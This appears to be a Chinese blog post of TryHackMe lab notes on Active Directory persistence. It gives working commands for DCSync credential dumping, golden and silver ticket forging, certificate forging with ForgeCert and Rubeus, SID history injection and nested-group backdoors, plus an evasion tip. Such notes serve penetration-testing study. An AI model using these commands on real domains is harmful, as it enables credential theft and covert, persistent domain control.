域权限维持

通过凭据实现持久性

需要关注的特权账户

在多台计算机上具有本地管理员权限的凭据。
通常,组织在几乎所有计算机上都有一两个具有本地管理员权限的组。这些组通常分为一个用于工作站,一个用于服务器。通过收集这些团体成员的凭据,我们仍然可以访问庄园中的大部分计算机。

具有委派权限的服务帐户。
有了这些帐户,我们将能够强制金票和银票执行 Kerberos 委托攻击。

用于特权 AD 服务的帐户。
如果我们破坏了特权服务(如 Exchange、Windows Server Update Services (WSUS) 或 System Center Configuration Manager (SCCM))的帐户,我们可以利用 AD 利用再次获得特权立足点。

AD管理员组的账户

利用凭据同步获取凭据

# mimikatz
lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username>

# 将密码转换为ntlm哈希
https://codebeautify.org/ntlm-hash-generator

# 同步每个账户
## mimikatz
log <username>_dcdump.txt #启用日志记录
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all

通过票证的持久性

# 生成黄金票据(mimikatz)
golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt

# 生成银票
golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt

# 参数说明
/admin - 我们要模拟的用户名。这不一定是有效用户。
/domain - 要为其生成票证的域的 FQDN。
/id - 用户 RID。默认情况下,Mimikatz 使用 RID 500,这是默认的管理员帐户 RID。
/sid - 我们要为其生成票证的域的 SID。
/krbtgt - KRBTGT 帐户的 NTLM 哈希。
/endin - 票证生存期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 10 小时(600 分钟)
/renewmax - 续订后的最长票证生存期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 7 天(10080 分钟)
/ptt - 此标志告诉 Mimikatz 将票证直接注入到会话中,这意味着它已准备好使用。

通过证书实现持久性

# 可以替代mimikatz的工具
https://pentestlab.blog/2021/11/15/golden-certificate/
# 查看存储在dc上的证书
certificates /systemstore:local_machine
# mimikatz修补内存使密钥可导出
privilege::debug
crypto::capi
crypto::cng
# 导出证书(导出的证书将以 PFX 和 DER 格式存储到磁盘)
crypto::certificates /systemstore:local_machine /export

# ForgeCert生成自己的证书
ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
## 参数说明
CaCertPath - 导出的 CA 证书的路径。
CaCertPassword - 用于加密证书的密码。默认情况下,Mimikatz 分配的密码为 。mimikatz
使用者 - 证书的使用者或公用名。在我们将使用证书的上下文中,这并不重要。
SubjectAltName - 这是我们要使用此证书模拟的帐户的用户主体名称 (UPN)。它必须是合法用户。
NewCertPath - ForgeCert 存储生成的证书的路径。
NewCertPassword - 由于证书需要导出用于身份验证目的的私钥,因此我们必须设置用于加密它的新密码。

# Rubeus 使用证书请求 TGT
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>
## 参数说明
/user - 这指定了我们将模拟的用户,并且必须与我们生成的证书的 UPN 匹配
/enctype - 指定票证的加密类型。设置此项为 对于规避很重要,因为默认加密算法很弱, 这将导致 overpass-the-hash 警报
/certificate - 生成的证书的路径
/password - 证书文件的密码
/outfile - 我们的 TGT 将输出到的文件
/domain - 我们当前正在攻击的域的 FQDN
/dc - 我们从中请求 TGT 的域控制器的 IP。 通常,最好选择运行 CA 服务的 DC

# mimikatz加载TGT并向THMDC进行身份验证
kerberos::ptt administrator.kirbi

通过SID历史记录进行持久性

# 确保低权限用户的 SID 历史记录中当前没有任何信息
Get-ADUser <your ad username> -properties sidhistory,memberof
# 获取 Domain Admins 组的 SID
Get-ADGroup "Domain Admins"

# 使用DSInternals工具修补 ntds.dit 文件
## 下载
https://github.com/MichaelGrafnetter/DSInternals
## 使用
Stop-Service -Name ntds -force 
Add-ADDBSidHistory -SamAccountName
修补后,必须重新启动 NTDS 服务,否则,整个网络的身份验证将不再起作用
## 确认是否成功
Get-ADUser aaron.jones -Properties sidhistory # 在加sid历史记录的低权限用户上

通过组成员身份实现持久性

# 创建新组
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security
# 创建另一个组并将上一个组添加为成员
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security 
Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"
# 上述步骤可以连续做多次
# 对于最后一个组,将该组添加到“域管理员”组
Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5"
# 低特权 AD 用户添加到我们创建的第一个组中
Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值